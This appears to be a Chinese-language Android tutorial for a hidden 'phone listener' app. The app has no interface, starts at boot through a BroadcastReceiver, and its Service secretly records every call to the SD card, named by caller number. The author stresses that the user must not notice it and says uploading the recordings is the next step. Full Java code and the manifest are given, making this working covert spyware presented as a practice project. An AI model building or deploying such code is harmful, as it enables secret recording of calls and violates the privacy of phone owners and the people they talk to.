編輯:Android開發實例
這是一個Android練手小項目,通過一個BroadcastReceiver廣播接收者監聽手機啟動狀態,實現開機啟動。因為是電話監聽器,所以我們不能讓用戶察覺,所以不能有軟件界面,這是要點,不然也不叫監聽器了,主要實現的功能有對所有語音通話進行錄制並上傳到網上,好了,不廢話了,下面一步一步地寫……
首先,我們先來了解一下Service服務
Android中的服務和windows中的服務是類似的東西,服務一般沒有用戶操作界面,它運行於系統中不容易被用戶發覺,可以使用它開發如監控之類的程序。服務的開發比較簡單,如下: 第一步:繼承Service類public class PhoneListenerService extends Service {...}第二步:在AndroidManifest.xml文件中的<application>節點裡對服務進行配置: view sourceprint?
<service android:name=
"PhoneListenerService"
></service>
這裡推薦使用eclipse圖形化的界面添加
如上圖所示,可以添加Service、Permission、BroadcastReceiver等,感興趣可以自己試一下。
服務不能自己運行,需要通過調用Context.startService()或Context.bindService()方法啟動服務。這兩個方法都可以啟動Service,但是它們的使用場合有所不同。使用startService()方法啟用服務,調用者與服務之間沒有關連,即使調用者退出了,服務仍然運行。使用bindService()方法啟用服務,調用者與服務綁定在了一起,調用者一旦退出,服務也就終止,大有“不求同時生,必須同時死”的特點。
如果打算采用Context.startService()方法啟動服務,在服務未被創建時,系統會先調用服務的onCreate()方法,接著調用onStart()方法。如果調用startService()方法前服務已經被創建,多次調用startService()方法並不會導致多次創建服務,但會導致多次調用onStart()方法。采用startService()方法啟動的服務,只能調用Context.stopService()方法結束服務,服務結束時會調用onDestroy()方法。
如果打算采用Context.bindService()方法啟動服務,在服務未被創建時,系統會先調用服務的onCreate()方法,接著調用onBind()方法。這個時候調用者和服務綁定在一起,調用者退出了,系統就會先調用服務的onUnbind()方法,接著調用onDestroy()方法。如果調用bindService()方法前服務已經被綁定,多次調用bindService()方法並不會導致多次創建服務及綁定(也就是說onCreate()和onBind()方法並不會被多次調用)。如果調用者希望與正在綁定的服務解除綁定,可以調用unbindService()方法,調用該方法也會導致系統調用服務的onUnbind()-->onDestroy()方法。
服務常用生命周期回調方法如下:
onCreate() //該方法在服務被創建時調用,該方法只會被調用一次,無論調用多少次startService() 或bindService()方法,服務也只被創建一次。
onDestroy()//該方法在服務被終止時調用。
package com.studio.listener;服務類寫好了,記得要在功能清單文件中注冊它,千萬不要忘了……
import java.text.SimpleDateFormat;
import java.util.Date;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;
public class PhoneListenerService extends Service {
private String TAG = "PhoneListenerService";//這裡設置一個Log標志,方便於調試
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
/**
* 此處復寫onCreate()方法,當這個服務被創建的時候就實現監聽
*/
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
/* 取得電話服務 */
TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
PhoneStateListener listener = new PhoneStateListener() {
private String number;//定義一個監聽電話號碼
private boolean isRecord;//定義一個當前是否正在復制的標志
private MediaRecorder recorder;//媒體復制類
@Override
public void onCallStateChanged(int state, String incomingNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:/* 無任何狀態 */
number = null;
if (recorder != null && isRecord) {
Log.i(TAG, "錄音完成");//設定一個錄音完成的標志,方便調試
recorder.stop();//錄音完成
recorder.reset();
recorder.release();
isRecord = false;//錄音完成,改變狀態標志
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK:/* 接起電話 */
// 錄制聲音,這是錄音的核心代碼
try {
Log.i(TAG, "開始錄音");
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 定義聲音來自於麥克風
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//我們定義存儲格式為3gp
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//定我編碼
SimpleDateFormat format = new SimpleDateFormat("yyMMddHHmmss");//此處定義一個format類,方便對錄音文件進行命名
String fileName = this.number + "_" + format.format(new Date());
/* 定義錄音文件的輸出路徑,這裡我們先保存到sdcard */
recorder.setOutputFile(Environment.getExternalStorageDirectory().getAbsolutePath()+ "/" + fileName + ".3gp");
recorder.prepare();
recorder.start(); // 開始刻錄
isRecord = true;
} catch (Exception e) {
Log.e(TAG, e.toString());
}
break;
case TelephonyManager.CALL_STATE_RINGING:/* 電話進來 */
this.number = incomingNumber;
break;
default:
break;
}
}
};
// 監聽電話的狀態
telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
Log.i(TAG, "服務已經啟動");
}
}
<service android:name="PhoneListenerService"></service>服務寫好了,然後再來寫一個廣播接收器,以便於接收手機開機時的狀態,監聽到手機啟動了的時候就啟動我們的服務……
package com.studio.listener;這裡面很簡單,當我們的廣播接收者接收到某個狀態時就啟動我們剛才定義的Service 下面在功能清單中配置
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
Intent service = new Intent(context, PhoneListenerService.class);//定義一個意圖
context.startService(service);//開啟服務
}
}
<?xml version="1.0" encoding="utf-8"?>此功能清單中我已經把<Activity.../>的內容去掉了,因為我們不需要界面。反此應用安裝到模擬器,然後關掉模擬器重新啟動,可以用DDMS裡面的有一個功能向我們的模擬器打電話的 因為我這裡現在沒有啟動模擬器,所以是灰色的。在Incoming number後面輸入5554,然後點擊下面的call就可以呼叫了,當然也可以另外再開一個模擬器對5554進行呼叫,這樣比較麻煩。 如果此處出現我們當在服務裡面添加的TAG的話就表示成功了,然後查看sdcard是否有我們想要的錄音文件,有就Ok了…… 接下來我們要實現把這樣一個音頻文件上傳到網絡上的指定位置,然後刪除sdcard上的音頻文件,比較接近“監聽”了……
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.studio.listener"
android:versionCode="1"
android:versionName="1.0">
<uses-sdk android:minSdkVersion="10" />
<!-- 對外部存儲設備的寫入權限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>
<!-- 對外部文件的寫入和刪除權限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission>
<!-- 音頻刻錄權限 -->
<uses-permission android:name="android.permission.RECORD_AUDIO"></uses-permission>
<!-- 接收手機完全開啟狀態權限 -->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>
<!-- 讀取電話狀態權限 -->
<uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>
<application android:icon="@drawable/icon" android:label="@string/app_name">
<service android:name="PhoneListenerService"></service>
<receiver android:name="BootBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"></action>
</intent-filter>
</receiver>
</application>
</manifest>
SDK中的示例程序App->Activity->Animation
android中圖像在畫布上放大縮小時,圖像的邊框大小沒有改變! 原圖如下: 放大後:原來圖片的邊框沒有改變,位置依舊! 所以如果要放置圖片的位置的話,就需要
手機分辨率基礎知識(DPI,DIP計算) 1.術語和概念 術語 說明 備注 Screen size(屏幕尺寸) 指的是手機實際的物理尺寸,比如常
Android的廣告平台是很多的,各市場對各平台的接受程度是不一樣的,Android的開發者如果想集成廣告基本要考慮下面兩個問題:(1)集成什麼廣告,會賺錢?(2